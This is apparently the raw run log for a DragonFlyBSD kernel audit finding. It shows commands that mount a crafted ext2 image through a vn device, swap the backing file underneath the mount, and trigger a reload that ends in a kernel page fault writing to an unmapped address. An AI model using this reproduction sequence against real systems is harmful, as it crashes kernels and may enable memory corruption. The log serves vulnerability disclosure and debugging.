DragonFlyBSD Kernel Audit
DF-3047 / run.log
← back to finding ↓ download raw
DF-3047 run log (baseline, decisive run)

$ python3 craft.py .
OK: imgA64.img imgB128.img dev128.img      # 8-group fs packed in 128MB file,
                                           # 16-group fs for the swap

guest:
$ cc -O2 -o /root/vntool /root/vntool.c && cc -O2 -o /root/reloadtrigger /root/reloadtrigger.c
$ /root/vntool attach 0 /root/dev128.img
attached /root/dev128.img size=0
$ mount -t ext2fs -o ro /dev/vn0 /mnt/e2 && echo MOUNT-OK
MOUNT-OK
$ echo ---df-before:; df -k /mnt/e2 | tail -1
/dev/vn0       63210   14 59920     0%    /mnt/e2        <- imgA (8 groups)
$ echo ---sb-before:; dd if=/dev/vn0 bs=1024 skip=1 count=1 | dd bs=4 skip=1 count=1 | hexdump -e '"%x"'
10000
$ cat /root/imgB128.img > /root/dev128.img && echo SWAPPED
$ echo ---sb-after-swap:; dd if=/dev/vn0 bs=1024 skip=1 count=1 | dd bs=4 skip=1 count=1 | hexdump -e '"%x"'
20000                                          <- device now serves imgB (16 groups)
$ /root/reloadtrigger /mnt/e2
<no reply; ssh dies; console:>
Fatal user address access from kernel mode from reloadtrigger at ffffffff80bca5ab
Fatal trap 12: page fault while in kernel mode
cpuid = 3; lapic id = 3
fault virtual address	= 0x28bf
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff80bca5ab
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1006
kernel: type 12 trap, code=2
Stopped at      memset+0x2b:    movq    %r10,(%rdi)
db>